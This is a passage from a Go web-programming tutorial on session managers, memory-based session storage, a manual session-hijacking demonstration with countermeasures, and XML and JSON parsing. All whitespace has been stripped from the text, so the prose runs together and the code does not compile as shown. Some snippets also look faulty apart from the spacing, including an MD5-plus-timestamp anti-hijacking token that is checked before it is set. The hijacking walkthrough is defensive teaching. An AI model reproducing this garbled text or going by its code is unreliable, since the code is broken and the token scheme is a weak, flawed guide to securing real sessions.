CreateauniquesessionidOpenupadatastoragespace:normallywesavesessionsinmemory,butyouwillloseallsessiondataifthesystemisaccidentallyinterrupted.Thiscanbeaveryseriousissueifwebapplicationdealswithsensitivedata,likeinelectroniccommerceforinstance.Inordertosolvethisproblem,youcaninsteadsaveyoursessiondatainadatabaseorfilesystem.Thismakesdatapersistencemorereliableandeasytosharewithotherapplications,althoughthetradeoffisthatmoreserver-sideIOisneededtoreadandwritethesesessions.Sendtheuniquesessionidtotheclient.

Thekeystephereistosendtheuniquesessionidtotheclient.InthecontextofastandardHTTPresponse,youcaneitherusetheresponseline,

headerorbodytoaccomplishthis;therefore,wehavetwowaystosendsessionidstoclients:bycookiesorURLrewrites.

Cookies:theservercaneasilyuseSet-cookieinsideofaresponseheadertosaveasessionidtoaclient,andaclientcanthenthiscookieforfuturerequests;weoftensettheexpirytimeforcookiescontainingsessioninformationto0,whichmeansthecookiewillbesavedinmemoryandonlydeletedafterusershaveclosetheirbrowsers.URLrewrite:appendthesessionidasargumentsintheURLforallpages.Thiswayseemsmessy,butit'sthebestchoiceifclientshavedisabledcookiesintheirbrowsers.

UseGotomanagesessions

We'vetalkedaboutconstructingsessions,andyoushouldnowhaveageneraloverviewofit,buthowcanweusesessionsondynamicpages?Let'stakeacloserlookatthelifecycleofasessionsowecancontinueimplementingourGosessionmanager.

Sessionmanagementdesign

Hereisalistofsomeofthekeyconsiderationsinsessionmanagementdesign.

Globalsessionmanager.Keepsessionidunique.Haveonesessionforeveryuser.Sessionstorageinmemory,fileordatabase.Dealwithexpiredsessions.

Next,we'llexamineacompleteexampleofaGosessionmanagerandtherationalebehindsomeofitsdesigndecisions.

Sessionmanager

Defineaglobalsessionmanager:

typeManagerstruct{cookieNamestring//privatecookienamelocksync.Mutex//protectssessionproviderProvidermaxlifetimeint64}

funcNewManager(provideName,cookieNamestring,maxlifetimeint64)(*Manager,error){provider,ok:=provides[provideName]if!ok{returnnil,fmt.Errorf("session:unknownprovide%q(forgottenimport?)",provideName)}return&Manager{provider:provider,cookieName:cookieName,maxlifetime:maxlifetime},nil}

Createaglobalsessionmanagerinthemain()function:

varglobalSessions*session.Manager//Then,initializethesessionmanagerfuncinit(){globalSessions=NewManager("memory","gosessionid",3600)}

Weknowthatwecansavesessionsinmanywaysincludinginmemory,thefilesystemordirectlyintothedatabase.WeneedtodefineaProviderinterfaceinordertorepresenttheunderlyingstructureofoursessionmanager:

typeProviderinterface{SessionInit(sidstring)(Session,error)SessionRead(sidstring)(Session,error)SessionDestroy(sidstring)errorSessionGC(maxLifeTimeint64)}

SessionInitimplementstheinitializationofasession,andreturnsnewasessionifitsucceeds.SessionReadreturnsasessionrepresentedbythecorrespondingsid.Createsanewsessionandreturnsitifitdoesnotalreadyexist.SessionDestroygivenansid,deletesthecorrespondingsession.SessionGCdeletesexpiredsessionvariablesaccordingtomaxLifeTime.

Sowhatmethodsshouldoursessioninterfacehave?Ifyouhaveanyexperienceinwebdevelopment,youshouldknowthatthereareonlyfouroperationsforsessions:setvalue,getvalue,deletevalueandgetcurrentsessionid.So,oursessioninterfaceshouldhavefourmethodstoperformtheseoperations.

typeSessioninterface{Set(key,valueinterface{})error//setsessionvalueGet(keyinterface{})interface{}//getsessionvalueDelete(keyinterface{})error//deletesessionvalueSessionID()string//backcurrentsessionID}

Thisdesigntakesitsrootsfromthedatabase/sql/driver,whichdefinestheinterfacefirst,thenregistersspecificstructureswhenwewanttouseit.Thefollowingcodeistheinternalimplementationofasessionregisterfunction.

varprovides=make(map[string]Provider)

//Registermakesasessionprovideravailablebytheprovidedname.

//IfaRegisteriscalledtwicewiththesamenameorifthedriverisnil,//itpanics.funcRegister(namestring,providerProvider){ifprovider==nil{panic("session:Registerprovideisnil")}if_,dup:=provides[name];dup{

panic("session:Registercalledtwiceforprovide"+name)}provides[name]=provider}

Uniquesessionids

Sessionidsareforidentifyingusersofwebapplications,sotheymustbeunique.Thefollowingcodeshowshowtoachievethisgoal:

func(manager*Manager)sessionId()string{b:=make([]byte,32)if_,err:=io.ReadFull(rand.Reader,b);err!=nil{return""}returnbase64.URLEncoding.EncodeToString(b)}

Creatingasession

Weneedtoallocateorgetanexistingsessioninordertovalidateuseroperations.TheSessionStartfunctionisforcheckingifanythereareanysessionsrelatedtothecurrentuser,creatinganewsessionnonarefound.

func(manager*Manager)SessionStart(whttp.ResponseWriter,r*http.Request)(sessionSession){manager.lock.Lock()defermanager.lock.Unlock()cookie,err:=r.Cookie(manager.cookieName)iferr!=nil||cookie.Value==""{sid:=manager.sessionId()session,_=manager.provider.SessionInit(sid)cookie:=http.Cookie{Name:manager.cookieName,Value:url.QueryEscape(sid),Path:"/",HttpOnly:true,MaxAge:int(manager.maxlifetime)}http.SetCookie(w,&cookie)}else{sid,_:=url.QueryUnescape(cookie.Value)

session,_=manager.provider.SessionRead(sid)}return}

Hereisanexamplethatusessessionsforaloginoperation.

funclogin(whttp.ResponseWriter,r*http.Request){sess:=globalSessions.SessionStart(w,r)r.ParseForm()ifr.Method=="GET"{t,_:=template.ParseFiles("login.gtpl")w.Header().Set("Content-Type","text/html")t.Execute(w,sess.Get("username"))}else{sess.Set("username",r.Form["username"])http.Redirect(w,r,"/",302)}}

Operationvalue:set,getanddelete

TheSessionStartfunctionreturnsavariablethatimplementsasessioninterface.Howdoweuseit?

Yousawsession.Get("uid")intheaboveexampleforabasicoperation.Nowlet'sexamineamoredetailedexample.

funccount(whttp.ResponseWriter,r*http.Request){sess:=globalSessions.SessionStart(w,r)createtime:=sess.Get("createtime")ifcreatetime==nil{sess.Set("createtime",time.Now().Unix())}elseif(createtime.(int64)+360)<(time.Now().Unix()){globalSessions.SessionDestroy(w,r)sess=globalSessions.SessionStart(w,r)}ct:=sess.Get("countnum")ifct==nil{

sess.Set("countnum",1)}else{sess.Set("countnum",(ct.(int)+1))}t,_:=template.ParseFiles("count.gtpl")w.Header().Set("Content-Type","text/html")t.Execute(w,sess.Get("countnum"))}

Asyoucansee,operatingonsessionssimplyinvolvesusingthekey/valuepatternintheSet,GetandDeleteoperations.

Becausesessionshavetheconceptofanexpirytime,wedefinetheGCtoupdatethesession'slatestmodifytime.Thisway,theGCwillnotdeletesessionsthathaveexpiredbutarestillbeingused.

Resetsessions

Weknowthatwebapplicationhavealogoutoperation.Whenuserslogout,weneedtodeletethecorrespondingsession.We'vealreadyusedtheresetoperationinaboveexample-nowlet'stakealookatthefunctionbody.

//Destroysessionidfunc(manager*Manager)SessionDestroy(whttp.ResponseWriter,r*http.Request){cookie,err:=r.Cookie(manager.cookieName)iferr!=nil||cookie.Value==""{return}else{manager.lock.Lock()defermanager.lock.Unlock()manager.provider.SessionDestroy(cookie.Value)expiration:=time.Now()cookie:=http.Cookie{Name:manager.cookieName,Path:"/",HttpOnly:true,Expires:expiration,MaxAge:-1}http.SetCookie(w,&cookie)}}

Deletesessions

Let'sseehowtoletthesessionmanagerdeleteasession.WeneedtostarttheGCinthemain()function:

funcinit(){goglobalSessions.GC()}

func(manager*Manager)GC(){manager.lock.Lock()defermanager.lock.Unlock()manager.provider.SessionGC(manager.maxlifetime)time.AfterFunc(time.Duration(manager.maxlifetime),func(){manager.GC()})}

WeseethattheGCmakesfulluseofthetimerfunctioninthetimepackage.ItautomaticallycallsGCwhenthesessiontimesout,ensuringthatallsessionsareusableduringmaxLifeTime.Asimilarsolutioncanbeusedtocountonlineusers.

Summary

Sofar,weimplementedasessionmanagertomanageglobalsessionsinthewebapplicationanddefinedtheProviderinterfaceasthestorageimplementationofSession.Inthenextsection,wearegoingtotalkabouthowtoimplementProviderforadditionalsessionstoragestructures,whichyouwillbeabletoreferenceinthefuture.

Links

DirectoryPrevioussection:SessionandcookiesNextsection:Sessionstorage

6.3SessionstorageWeintroducedasimplesessionmanager'sworkingprinciplesintheprevioussection,andamongotherthings,wedefinedasessionstorageinterface.Inthissection,I'mgoingtoshowyouanexampleofamemorybasedsessionstorageenginethatimplementsthisinterface.Youcantailorthistootherformsofsessionstorageaswell.

packagememory

import("container/list""github.com/astaxie/session""sync""time")

varpder=&Provider{list:list.New()}

typeSessionStorestruct{sidstring//uniquesessionidtimeAccessedtime.Time//lastaccesstimevaluemap[interface{}]interface{}//sessionvaluestoredinside}

func(st*SessionStore)Set(key,valueinterface{})error{st.value[key]=valuepder.SessionUpdate(st.sid)returnnil}

func(st*SessionStore)Get(keyinterface{})interface{}{pder.SessionUpdate(st.sid)ifv,ok:=st.value[key];ok{returnv}else{returnnil}returnnil}

func(st*SessionStore)Delete(keyinterface{})error{delete(st.value,key)pder.SessionUpdate(st.sid)returnnil}

func(st*SessionStore)SessionID()string{returnst.sid}

typeProviderstruct{locksync.Mutex//locksessionsmap[string]*list.Element//saveinmemorylist*list.List//gc}

func(pder*Provider)SessionInit(sidstring)(session.Session,error){pder.lock.Lock()deferpder.lock.Unlock()v:=make(map[interface{}]interface{},0)newsess:=&SessionStore{sid:sid,timeAccessed:time.Now(),value:v}element:=pder.list.PushBack(newsess)pder.sessions[sid]=elementreturnnewsess,nil}

func(pder*Provider)SessionRead(sidstring)(session.Session,error){ifelement,ok:=pder.sessions[sid];ok{returnelement.Value.(*SessionStore),nil}else{sess,err:=pder.SessionInit(sid)returnsess,err}returnnil,nil}

func(pder*Provider)SessionDestroy(sidstring)error{ifelement,ok:=pder.sessions[sid];ok{delete(pder.sessions,sid)pder.list.Remove(element)returnnil}returnnil

}

func(pder*Provider)SessionGC(maxlifetimeint64){pder.lock.Lock()deferpder.lock.Unlock()

for{element:=pder.list.Back()ifelement==nil{break}if(element.Value.(*SessionStore).timeAccessed.Unix()+maxlifetime)<time.Now().Unix(){pder.list.Remove(element)delete(pder.sessions,element.Value.(*SessionStore).sid)}else{break}}}

func(pder*Provider)SessionUpdate(sidstring)error{pder.lock.Lock()deferpder.lock.Unlock()ifelement,ok:=pder.sessions[sid];ok{element.Value.(*SessionStore).timeAccessed=time.Now()pder.list.MoveToFront(element)returnnil}returnnil}

funcinit(){pder.sessions=make(map[string]*list.Element,0)session.Register("memory",pder)}

Theaboveexampleimplementsamemorybasedsessionstoragemechanism.Itusesitsinit()functiontoregisterthisstorageenginetothesessionmanager.Sohowdoweregisterthisenginefromourmainprogram?

import(

"github.com/astaxie/session"_"github.com/astaxie/session/providers/memory")

Weusetheblankimportmechanism(whichwillinvokethepackage'sinit()functionautomatically)toregisterthisenginetoasessionmanager.Wethenusethefollowingcodetoinitializethesessionmanager:

varglobalSessions*session.Manager

//initializeininit()functionfuncinit(){globalSessions,_=session.NewManager("memory","gosessionid",3600)goglobalSessions.GC()}

Links

DirectoryPrevioussection:HowtousesessionsinGoNextsection:Preventsessionhijacking

6.4PreventingsessionhijackingSessionhijackingisacommonyetserioussecuritythreat.Clientsusesessionidsforvalidationandotherpurposeswhencommunicatingwithservers.Unfortunately,maliciousthirdpartiescansometimestrackthesecommunicationsandfigureouttheclientsessionid.

Inthissection,wearegoingtoshowyouhowtohijackasessionforeducationalpurposes.

Thesessionhijackingprocess

Thefollowingcodeisacounterforthecountvariable:

funccount(whttp.ResponseWriter,r*http.Request){sess:=globalSessions.SessionStart(w,r)ct:=sess.Get("countnum")ifct==nil{sess.Set("countnum",1)}else{sess.Set("countnum",(ct.(int)+1))}t,_:=template.ParseFiles("count.gtpl")w.Header().Set("Content-Type","text/html")t.Execute(w,sess.Get("countnum"))}

Thecontentofcount.gtplisasfollows:

Hi.Nowcount:{{.}}

Wecanseethefollowingcontentinthebrowser:

Figure6.4countinbrowser.

Keeprefreshinguntilthenumberbecomes6,thenopenthebrowser'scookiemanager(Iusechromehere).Youshouldbeabletoseethefollowinginformation:

Figure6.5cookiessavedinabrowser.

Thisstepisveryimportant:openanotherbrowser(Iusefirefoxhere),copytheURLtothenewbrowser,openacookiesimulatortocreateanewcookieandinputexactlythesamevalueasthecookiewesawinourfirstbrowser.

Figure6.6Simulateacookie.

Refreshthepageandyou'llseethefollowing:

Figure6.7hijackingthesessionhassucceeded.

Hereweseethatwecanhijacksessionsbetweendifferentbrowsers,andactionsperformedinoneonebrowsercanaffectthestateofapageinanotherbrowser.BecauseHTTPisstateless,thereisnowayofknowingthatthesessionidfromfirefoxissimulated,andchromeisalsonotabletoknowthatitssessionidhasbeenhijacked.

preventsessionhijacking

cookieonlyandtoken

Throughthissimpleexampleofhijackingasession,youcanseethatit'sverydangerousbecauseitallowsattackerstodowhatevertheywant.Sohowcanwepreventsessionhijacking?

Thefirststepistoonlysetsessionidsincookies,insteadofinURLrewrites.Also,weshouldsetthehttponlycookiepropertytotrue.Thisrestrictsclientsidescriptsthatwantaccesstothesessionid.Usingthesetechniques,cookiescannotbeaccessedbyXSSanditwon'tbeaseasyasweshowedtogetasessionidfromacookiemanager.

Thesecondstepistoaddatokentoeveryrequest.Similartothewaywedealtwithrepeatformsinprevioussections,weaddahiddenfieldthatcontainsatoken.Whenarequestissenttotheserver,wecanverifythistokentoprovethattherequestisunique.

h:=md5.New()salt:="astaxie%^7&8888"io.WriteString(h,salt+time.Now().String())token:=fmt.Sprintf("%x",h.Sum(nil))ifr.Form["token"]!=token{//asktologin}sess.Set("token",token)

Sessionidtimeout

Anothersolutionistoaddacreatetimeforeverysession,andtoreplaceexpiredsessionidswithnewones.Thiscanpreventsessionhijackingundercertaincircumstances.

createtime:=sess.Get("createtime")ifcreatetime==nil{sess.Set("createtime",time.Now().Unix())}elseif(createtime.(int64)+60)<(time.Now().Unix()){globalSessions.SessionDestroy(w,r)

sess=globalSessions.SessionStart(w,r)}

Wesetavaluetosavethecreatetimeandcheckifit'sexpired(Iset60secondshere).Thisstepcanoftenthwartsessionhijackingattempts.

Combinethetwosolutionsaboveandyouwillbeabletopreventmostsessionhijackingattemptsfromsucceeding.Ontheonehand,sessionidsthatarefrequentlyresetwillresultinanattackeralwaysgettingexpiredanduselesssessionids;ontheotherhand,bysettingthehttponlypropertyoncookiesandensuringthatsessionidscanonlybepassedviacookies,allURLbasedattacksaremitigated.Finally,wesetMaxAge=0onourcookies,whichmeansthatthesessionidswillnotbesavedinthebrowserhistory.

Links

DirectoryPrevioussection:SessionstorageNextsection:Summary

6.5SummaryInthischapter,welearnedaboutthedefinitionandpurposeofsessionsandcookies,andtherelationshipbetweenthetwo.SinceGodoesn'tsupportsessionsinitsstandardlibrary,wealsodesignedourownsessionmanager.Wewentthroughtheeverythingfromcreatingclientsessionstodeletingthem.WethendefinedaninterfacecalledProviderwhichsupportsallsessionstoragestructures.Insection6.3,weimplementedamemorybasedsessionmanagertopersistclientdataacrosssessions.Insection6.4,Ishowyouonewayofhijackingasession.Thenwelookedathowtopreventyourownsessionsfrombeinghijacked.Ihopethatyounowunderstandmostoftheworkingprinciplesbehindsessionssothatyou'reabletosafelyusetheminyourapplications.

Links

DirectoryPrevioussection:PreventsessionhijackingNextchapter:Textfiles

7TextfilesHandlingtextfilesisabigpartofwebdevelopment.Weoftenneedtoproduceorhandlereceivedtextcontent,includingstrings,numbers,JSON,XML,etc.Asahighperformancelanguage,Gohasgoodsupportforthisinitsstandardlibrary.You'llfindthatthesesupportinglibrariesarejustawesome,andwillallowyoutoeasilydealwithanytextcontentyoumayencounter.Thischaptercontains4sections,andwillgiveyouafullintroductiontotextprocessinginGo.

XMLisaninteractivelanguagethatiscommonlyusedinmanyAPIs,manywebserverswritteninJavauseXMLastheirstandardinteractionlanguage.We'llmoretalkaboutXMLinsection7.1.Insection7.2,we'lltakealookatJSONwhichhasbeenverypopularinrecentyearsandismuchmoreconvenientthanXML.Insection7.3,wearegoingtotalkaboutregularexpressionswhich(forthemajorityofpeople)lookslikealanguageusedbyaliens.Insection7.4,youwillseehowtheMVCpatternisusedtodevelopapplicationsinGo,andalsohowtouseGo'stemplatepackagefortemplatingyourviews.Insection7.5,we'llintroduceyoutofileandfolderoperations.Finally,wewillexplainsomeGostringoperationsinsection7.6.

Links

DirectoryPreviousChapter:Chapter6SummaryNextsection:XML

7.1XMLXMLisacommonlyuseddatacommunicationformatinwebservices.Today,it'sassumingamoreandmoreimportantroleinwebdevelopment.Inthissection,we'regoingtointroducehowtoworkwithXMLthroughGo'sstandardlibrary.

IwillnotmakeanyattemptstoteachXML'ssyntaxorconventions.Forthat,pleasereadmoredocumentationaboutXMLitself.WewillonlyfocusonhowtoencodeanddecodeXMLfilesinGo.

SupposeyouworkinIT,andyouhavetodealwiththefollowingXMLconfigurationfile:

<?xmlversion="1.0"encoding="utf-8"?><serversversion="1"><server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server></servers>

TheaboveXMLdocumentcontainstwokindsofinformationaboutyourserver:theservernameandIP.Wewillusethisdocumentinourfollowingexamples.

ParseXML

HowdoweparsethisXMLdocument?WecanusetheUnmarshalfunctioninGo'sxmlpackagetodothis.

funcUnmarshal(data[]byte,vinterface{})error

thedataparameterreceivesadatastreamfromanXMLsource,andvisthestructureyouwanttooutputtheparsedXMLto.Itisaninterface,whichmeansyoucanconvertXMLtoanystructureyoudesire.Here,we'llonlytalkabouthowtoconvertfromXMLtothestructtypesincetheysharesimilartreestructures.

Samplecode:

packagemain

import("encoding/xml""fmt""io/ioutil""os")

typeRecurlyserversstruct{XMLNamexml.Name`xml:"servers"`Versionstring`xml:"version,attr"`Svs[]server`xml:"server"`Descriptionstring`xml:",innerxml"`}

typeserverstruct{XMLNamexml.Name`xml:"server"`ServerNamestring`xml:"serverName"`ServerIPstring`xml:"serverIP"`}

funcmain(){file,err:=os.Open("servers.xml")//Forreadaccess.iferr!=nil{fmt.Printf("error:%v",err)return}deferfile.Close()data,err:=ioutil.ReadAll(file)iferr!=nil{

fmt.Printf("error:%v",err)return}v:=Recurlyservers{}err=xml.Unmarshal(data,&v)iferr!=nil{fmt.Printf("error:%v",err)return}

fmt.Println(v)}

XMLisactuallyatreedatastructure,andwecandefineaverysimilarstructureusingstructsinGo,thenusexml.UnmarshaltoconvertfromXMLtoourstructobject.Thesamplecodewillprintthefollowingcontent:

{{servers}1[{{server}Shanghai_VPN127.0.0.1}{{server}Beijing_VPN127.0.0.2}]<server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server>}

Weusexml.UnmarshaltoparsetheXMLdocumenttothecorrespondingstructobject.Youshouldseethatwehavesomethinglikexml:"serverName"inourstruct.Thisisafeatureofstructscalledstructtagsforhelpingwithreflection.Let'sseethedefinitionofUnmarshalagain:

funcUnmarshal(data[]byte,vinterface{})error

ThefirstargumentisanXMLdatastream.Thesecondargumentisstoragetypeandsupportsthestruct,sliceandstringtypes.Go'sXMLpackageuses

reflectionfordatamapping,soallfieldsinvshouldbeexported.However,thiscausesaproblem:howcanitknowwhichXMLfieldcorrespondstothemappedstructfield?TheansweristhattheXMLparserparsesdatainacertainorder.Thelibrarywilltrytofindthematchingstructtagfirst.Ifamatchcannotbefoundthenitsearchesthroughthestructfieldnames.Beawarethatalltags,fieldnamesandXMLelementsarecasesensitive,soyouhavetomakesurethatthereisaonetoonecorrespondenceforthemappingtosucceed.

Go'sreflectionmechanismallowsyoutousethistaginformationtoreflectXMLdatatoastructobject.IfyouwanttoknowmoreaboutreflectioninGo,pleasereadthepackagedocumentationonstructtagsandreflection.

HerearesomeruleswhenusingthexmlpackagetoparseXMLdocumentstostructs:

Ifthefieldtypeisastringor[]bytewiththetag",innerxml",UnmarshalwillassignrawXMLdatatoit,likeDescriptionintheaboveexample:

Shanghai_VPN127.0.0.1Beijing_VPN127.0.0.2

IfafieldiscalledXMLNameanditstypeisxml.Name,thenitgetstheelementname,likeserversinaboveexample.

Ifafield'stagcontainsthecorrespondingelementname,thenitgetstheelementnameaswell,likeservernameandserveripintheaboveexample.Ifafield'stagcontains",attr",thenitgetsthecorrespondingelement'sattribute,likeversioninaboveexample.Ifafield'stagcontainssomethinglike"a>b>c",itgetsthevalueoftheelementcofnodebofnodea.Ifafield'stagcontains"=",thenitgetsnothing.Ifafield'stagcontains",any",thenitgetsallchildelementswhichdonotfittheotherrules.IftheXMLelementshaveoneormorecomments,allofthesecomments

willbeaddedtothefirstfieldthathasthetagthatcontains",comments".Thisfieldtypecanbeastringor[]byte.Ifthiskindoffielddoesnotexist,allcommentsarediscard.

Theserulestellyouhowtodefinetagsinstructs.Onceyouunderstandtheserules,mappingXMLtostructswillbeaseasyasthesamplecodeabove.BecausetagsandXMLelementshaveaonetoonecorrespondence,wecanalsouseslicestorepresentmultipleelementsonthesamelevel.

Notethatallfieldsinstructsshouldbeexported(capitalized)inordertoparsedatacorrectly.

ProduceXML

WhatifwewanttoproduceanXMLdocumentinsteadofparsingone.HowdowedothisinGo?Unsurprisingly,thexmlpackageprovidestwofunctionswhichareMarshalandMarshalIndent,wherethesecondfunctionautomaticallyindentsthemarshalledXMLdocument.Theirdefinitionasfollows:

funcMarshal(vinterface{})([]byte,error)funcMarshalIndent(vinterface{},prefix,indentstring)([]byte,error)

ThefirstargumentinbothofthesefunctionsisforstoringamarshalledXMLdatastream.

Let'slookatanexampletoseehowthisworks:

packagemain

import("encoding/xml""fmt""os")

typeServersstruct{XMLNamexml.Name`xml:"servers"`Versionstring`xml:"version,attr"`Svs[]server`xml:"server"`}

typeserverstruct{ServerNamestring`xml:"serverName"`ServerIPstring`xml:"serverIP"`}

funcmain(){v:=&Servers{Version:"1"}v.Svs=append(v.Svs,server{"Shanghai_VPN","127.0.0.1"})v.Svs=append(v.Svs,server{"Beijing_VPN","127.0.0.2"})output,err:=xml.MarshalIndent(v,"","")iferr!=nil{fmt.Printf("error:%v\n",err)}os.Stdout.Write([]byte(xml.Header))

os.Stdout.Write(output)}

Theaboveexampleprintsthefollowinginformation:

<?xmlversion="1.0"encoding="UTF-8"?><serversversion="1"><server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server></servers>

Aswe'vepreviouslydefined,thereasonwehaveos.Stdout.Write([]byte(xml.Header))isbecausebothxml.MarshalIndentandxml.MarshaldonotoutputXMLheadersontheirown,sowehaveto

explicitlyprinttheminordertoproduceXMLdocumentscorrectly.

HerewecanseethatMarshalalsoreceivesavparameteroftypeinterface{}.SowhataretheruleswhenmarshallingtoanXMLdocument?

Ifvisanarrayorslice,itprintsallelementslikeavalue.Ifvisapointer,itprintsthecontentthatvispointingto,printingnothingwhenvisnil.Ifvisainterface,itdealwiththeinterfaceaswell.Ifvisoneoftheothertypes,itprintsthevalueofthattype.

Sohowdoesxml.Marshaldecidetheelements'name?Itfollowstheproceedingrules:

Ifvisastruct,itdefinesthenameinthetagofXMLName.ThefieldnameisXMLNameandthetypeisxml.Name.Fieldtaginstruct.Fieldnameinstruct.Typenameofmarshal.

ThenweneedtofigureouthowtosettagsinordertoproducethefinalXMLdocument.

XMLNamewillnotbeprinted.Fieldsthathavetagscontaining"-"willnotbeprinted.Ifatagcontains"name,attr",itusesnameastheattributenameandthefieldvalueasthevalue,likeversionintheaboveexample.Ifatagcontains",attr",itusesthefield'snameastheattributenameandthefieldvalueasitsvalue.Ifatagcontains",chardata",itprintscharacterdatainsteadofelement.Ifatagcontains",innerxml",itprintstherawvalue.Ifatagcontains",comment",itprintsitasacommentwithoutescaping,soyoucannothave"--"initsvalue.Ifatagcontains"omitempty",itomitsthisfieldifitsvalueiszero-value,

includingfalse,0,nilpointerornilinterface,zerolengthofarray,slice,mapandstring.

Ifatagcontains"a>b>c",itprintsthreeelementswhereacontainsbandbcontainsc,likeinthefollowingcode:

FirstNamestringxml:"name>first"LastNamestringxml:"name>last"

AstaXie

YoumayhavenoticedthatstructtagsareveryusefulfordealingwithXML,andthesamegoesfortheotherdataformatswe'llbediscussinginthefollowingsections.Ifyoustillfindthatyouhaveproblemswithworkingwithstructtags,youshouldprobablyreadmoredocumentationaboutthembeforedivingintothenextsection.

Links

DirectoryPrevioussection:TextfilesNextsection:JSON

7.2JSONJSON(JavaScriptObjectNotation)isalightweightdataexchangelanguagewhichisbasedontextdescription.Itsadvantagesincludebeingself-descriptive,easytounderstand,etc.EventhoughitisasubsetofJavaScript,JSONusesadifferenttextformat,theresultbeingthatitcanbeconsideredasanindependentlanguage.JSONbearssimilaritytoC-familylanguages.

ThebiggestdifferencebetweenJSONandXMListhatXMLisacompletemarkuplanguage,whereasJSONisnot.JSONissmallerandfasterthanXML,thereforeit'smucheasierandquickertoparseinbrowsers,whichisoneofthereasonswhymanyopenplatformschoosetouseJSONastheirdataexchangeinterfacelanguage.

SinceJSONisbecomingmoreandmoreimportantinwebdevelopment,let'stakealookatthelevelofsupportGohasforJSON.You'llfindthatGo'sstandardlibraryhasverygoodsupportforencodinganddecodingJSON.

HereweuseJSONtorepresenttheexampleintheprevioussection:

{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}

TherestofthissectionwillusethisJSONdatatointroduceJSONconceptsinGo.

ParseJSON

Parsetostruct

SupposewehavetheJSONintheaboveexample.HowcanweparsethisdataandmapittoastructinGo?Goprovidesthefollowingfunctionforjustthispurpose:

funcUnmarshal(data[]byte,vinterface{})error

Wecanusethisfunctionlikeso:

packagemain

import("encoding/json""fmt")

typeServerstruct{ServerNamestringServerIPstring}

typeServerslicestruct{Servers[]Server}

funcmain(){varsServerslicestr:=`{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}`json.Unmarshal([]byte(str),&s)fmt.Println(s)}

Intheaboveexample,wedefinedacorrespondingstructsinGoforourJSON,usingsliceforanarrayofJSONobjectsandfieldnameasourJSONkeys.ButhowdoesGoknowwhichJSONobjectcorrespondstowhichspecificstructfiled?SupposewehaveakeycalledFooinJSON.Howdowefinditscorrespondingfield?

First,Gotriestofindthe(capitalised)exportedfieldwhosetagcontainsFoo.Ifnomatchcanbefound,lookforthefieldwhosenameisFoo.IftherearestillnotmatcheslookforsomethinglikeFOOorFoO,ignoringcasesensitivity.

Youmayhavenoticedthatallfieldsthataregoingtobeassignedshouldbeexported,andGoonlyassignsfieldsthatcanbefound,ignoringallothers.ThiscanbeusefulifyouneedtodealwithlargechunksofJSONdatabutyouonlyaspecificsubsetofit;thedatayoudon'tneedcaneasilybediscarded.

Parsetointerface

WhenweknowwhatkindofJSONtoexpectinadvance,wecanparseittoaspecificstruct.Butwhatifwedon'tknow?

Weknowthataninterface{}canbeanythinginGo,soitisthebestcontainertosaveourJSONofunknownformat.TheJSONpackageusesmap[string]interface{}and[]interface{}tosaveallkindsofJSON

objectsandarrays.HereisalistofJSONmappingrelations:

boolrepresentsJSONbooleans,float64representsJSONnumbers,stringrepresentsJSONstrings,nilrepresentsJSONnull.

SupposewehavethefollowingJSONdata:

b:=[]byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`)

NowweparsethisJSONtoaninterface{}:

varfinterface{}err:=json.Unmarshal(b,&f)

Thefstoresamap,wherekeysarestringsandvaluesareinterface{}'s'.

f=map[string]interface{}{"Name":"Wednesday","Age":6,"Parents":[]interface{}{"Gomez","Morticia",},}

So,howdoweaccessthisdata?Typeassertion.

m:=f.(map[string]interface{})

Afterasserted,youcanusethefollowingcodetoaccessdata:

fork,v:=rangem{switchvv:=v.(type){casestring:fmt.Println(k,"isstring",vv)caseint:fmt.Println(k,"isint",vv)casefloat64:fmt.Println(k,"isfloat64",vv)case[]interface{}:fmt.Println(k,"isanarray:")fori,u:=rangevv{fmt.Println(i,u)}default:fmt.Println(k,"isofatypeIdon'tknowhowtohandle")}}

Asyoucansee,wecanparseJSONofanunknownformatthroughinterface{}andtypeassertnow.

Theaboveexampleistheofficialsolution,buttypeassertingisnotalwaysconvenient.So,Irecommendanopensourceprojectcalledsimplejson,createdandmaintainedbybybitly.HereisanexampleofhowtousethisprojecttodealwithJSONofanunknownformat:

js,err:=NewJson([]byte(`{"test":{"array":[1,"2",3],"int":10,"float":5.150,"bignum":9223372036854775807,"string":"simplejson","bool":true}}`))

arr,_:=js.Get("test").Get("array").Array()i,_:=js.Get("test").Get("int").Int()ms:=js.Get("test").Get("string").MustString()

It'snothardtoseehowconvenientthisis.Checkouttherepositorytoseemoreinformation:https://github.com/bitly/go-simplejson.

ProducingJSON

Inmanysituations,weneedtoproduceJSONdataandrespondtoclients.InGo,theJSONpackagehasafunctioncalledMarshaltodojustthat:

funcMarshal(vinterface{})([]byte,error)

Supposeweneedtoproduceaserverinformationlist.Wehavefollowingsample:

packagemain

import("encoding/json""fmt")

typeServerstruct{ServerNamestringServerIPstring}

typeServerslicestruct{Servers[]Server}

funcmain(){varsServerslices.Servers=append(s.Servers,Server{ServerName:"Shanghai_VPN",ServerIP:"127.0.0.1"})s.Servers=append(s.Servers,Server{ServerName:"Beijing_VPN",ServerIP:"127.0.0.2"})b,err:=json.Marshal(s)iferr!=nil{fmt.Println("jsonerr:",err)}

fmt.Println(string(b))}

Output:

{"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]}

Asyouknow,allfieldnamesarecapitalized,butifyouwantyourJSONkeynamestostartwithalowercaseletter,youshouldusestructtags.Otherwise,Gowillnotproducedataforinternalfields.

typeServerstruct{ServerNamestring`json:"serverName"`ServerIPstring`json:"serverIP"`}

typeServerslicestruct{Servers[]Server`json:"servers"`}

Afterthismodification,wecanproducethesameJSONdataasbefore.

HerearesomepointsyouneedtokeepinmindwhentryingtoproduceJSON:

